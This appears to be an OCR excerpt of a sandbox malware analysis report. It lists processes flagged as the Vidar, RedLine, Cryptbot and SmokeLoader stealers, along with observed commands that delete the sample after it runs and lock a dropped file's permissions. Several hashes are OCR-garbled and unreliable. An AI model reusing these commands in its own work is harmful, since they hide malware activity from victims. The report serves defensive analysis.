Programmed in:

C:\Users\user\AppData\Local\Temp\361B.exe
true
C:\Users\user\AppData\Local\Temp\361B.exe
0x400000

163328 bytes
DF13FACOD8B182E4D8B9A02BA87A9571
true

true

C, C++ or other language

Reputation: low
Analysis Process: 1EAA.exe PID: 6700 Parent PID: 5572
General
Start time: 09:14:08
Start date: 01/12/2021
Path: C:\Users\user\AppData\Local\Temp\1EAA.exe
Wow64 process (32bit): false
Commandline: C:\Users\user\AppData\Local\Temp\1EAA.exe
Imagebase: 0x410000
File size: 397824 bytes
MDS5 hash: 5115E5DAB211559A85CD0154E8100F53

Has elevated privileges:
Has administrator privileges:

Programmed in:

true
true

C, C++ or other language

Reputation: moderate
Analysis Process: 44A2.exe PID: 6852 Parent PID: 3424

General

Start time: 09:14:10

Start date: 01/12/2021

Path:

Wow64 process (32bit):

Copyright Joe Security LLC 2021

C:\Users\user\AppData\Local\Temp\44A2.exe

true
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https://www.metadefender.com/#!/results/file/bzIxMTIwMWdvWTJzcEdEdVNyajhiOHYyaXQt/regular/analysis

Commandline: C:\Users\user\AppData\Local\Temp\44A2.exe

Imagebase: 0x400000

File size: 351744 bytes

MDS5 hash: 45D0A6BB2CA00643FB04BF15D4AAA2C9

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,

Source: 00000011.00000002.854851899.0000000000555000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source:
00000011.00000002.854851899.0000000000555000.00000004.00000001.sdmp, Author:

Joe Security
Reputation: low
File Activities Show Windows behavior
File Created
File Deleted
File Written
File Read
Analysis Process: WerFault.exe PID: 7140 Parent PID: 6612
General
Start time: 09:14:12
Start date: 01/12/2021
Path: C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit): true
Commandline: C:\Windows\SysWOWe64\WerFault.exe -u -p 6612 -s 520
Imagebase: 0xdb0000
File size: 434592 bytes
MDS5 hash: 9E2BBACAD48ECCAS55C0230D63623661B
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: high
File Activities Show Windows behavior
File Created
File Deleted
File Written
Analysis Process: 1EAA.exe PID: 2740 Parent PID: 5572
General
Start time: 09:14:13
Start date: 01/12/2021
Path: C:\Users\user\AppData\Local\Temp\1EAA.exe
Wow64 process (32bit): true
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Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

C:\Users\user\AppData\Local\Temp\1EAA.exe
0x4c0000

397824 bytes
5115E5DAB211559A85CD0154E8100F53
true

true

.Net C# or VB.NET

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000014.00000000.830171711.0000000000402000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000014.00000000.820409193.0000000000402000.00000040.00000001.sdmp, Author:
Joe Security

* Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000014.00000000.829040256.0000000000402000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000014.00000002.938711812.0000000000402000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source:
00000014.00000000.832066411.0000000000402000.00000040.00000001.sdmp, Author:

Joe Security
Reputation: moderate
Analysis Process: 51B3.exe PID: 1368 Parent PID: 3424
General
Start time: 09:14:14
Start date: 01/12/2021
Path: C:\Users\user\AppData\Local\Temp\51B3.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

true
C:\Users\user\AppData\Local\Temp\51B3.exe
0x400000

336896 bytes
D2331EDF10B3COE6ASC8FECOALAG392E
true

true

C, C++ or other language

Reputation: low
Analysis Process: 305.exe PID: 1380 Parent PID: 3424
General
Start time: 09:14:21
Start date: 01/12/2021
Path: C:\Users\user\AppData\Local\Temp\305.exe
Wow64 process (32bit): true
Commandline: C:\Users\user\AppData\Local\Temp\305.exe
Imagebase: 0x1290000
File size: 2740224 bytes
MD5 hash: CA16CA4AAICFI777274447CIFABA222E
Has elevated privileges: true
Has administrator privileges: true

Programmed in:

Copyright Joe Security LLC 2021
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Yara matches:

e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,
Source:
00000016.00000002.947756314.00000000012C5000.00000002.00020000.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Cryptbot, Description: Yara detected Cryptbot, Source:
00000016.00000002.947756314.00000000012C5000.00000002.00020000.sdmp, Author:
Joe Security

e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,
Source:
00000016.00000003.835817824.00000000009D0000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Cryptbot, Description: Yara detected Cryptbot, Source:
00000016.00000003.835817824.00000000009D0000.00000004.00000001.sdmp, Author:
Joe Security

Reputation: moderate
Analysis Process: 51B3.exe PID: 5820 Parent PID: 1368

General

Start time: 09:14:23

Start date: 01/12/2021

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

C:\Users\user\AppData\Local\Temp\51B3.exe
true
C:\Users\user\AppData\Local\Temp\51B3.exe
0x400000

336896 bytes
D2331EDF10B3COE6ASC8FECOALAG392E
true

true

C, C++ or other language

e Rule: JoeSecurity_SmokelLoader_2, Description: Yara detected SmokeLoader, Source:
00000017.00000002.854879480.0000000002051000.00000004.00020000.sdmp, Author:
Joe Security

e Rule: JoeSecurity_SmokelLoader_2, Description: Yara detected SmokeLoader, Source:
00000017.00000002.853177748.0000000000540000.00000004.00000001.sdmp, Author:

Joe Security

Analysis Process: 2340.exe PID: 6508 Parent PID: 3424
General
Start time: 09:14:29
Start date: 01/12/2021
Path: C:\Users\user\AppData\Local\Temp\2340.exe
Wow64 process (32bit): true
Commandline: C:\Users\user\AppData\Local\Temp\2340.exe
Imagebase: 0x270000
File size: 1143000 bytes
MDS5 hash: 97617914D6EBAGE3CBEEBASESFF39AAS

Has elevated privileges:
Has administrator privileges:

Programmed in:

true
true

.Net C# or VB.NET

‘ Analysis Process: cmd.exe PID: 2892 Parent PID: 6852

General

Start time:
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Start date:
Path:
Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

01/12/2021
C:\Windows\SysWOW64\cmd.exe

true

"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Tem

p\44A2.exe" & exit

0x11d0000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D
true

true

C, C++ or other language

Analysis Process: conhost.exe PID: 5624 Parent PID: 2892

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

09:14:34

01/12/2021

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff724c50000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: timeout.exe PID: 5588 Parent PID: 2892

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

09:14:35

01/12/2021
C:\Windows\SysWOWS64\timeout.exe

true

timeout /t 5

0xa60000

26112 bytes
121A4EDAEG0A7AF6FSDFA82F7BB95659
true

true

C, C++ or other language

Analysis Process: 2340.exe PID: 2812 Parent PID: 6508

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:
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09:14:48

01/12/2021
C:\Users\user\AppData\Local\Temp\2340.exe
true
C:\Users\user\AppData\Local\Temp\2340.exe
0xdb0000

1143000 bytes
97617914D6EBAGE3CBEEBASESFF39AAS
true

true
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Programmed in: C, C++ or other language

Analysis Process: cmd.exe PID: 4432 Parent PID: 2812

General

Start time: 09:15:12

Start date: 01/12/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\cmd.exe" /c echo Y|CACLS "C:\Users\user\AppData\Local\Temp\6
829558ede\tkools.exe" /P "user:N

Imagebase: 0x11d0000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Disassembly

Code Analysis
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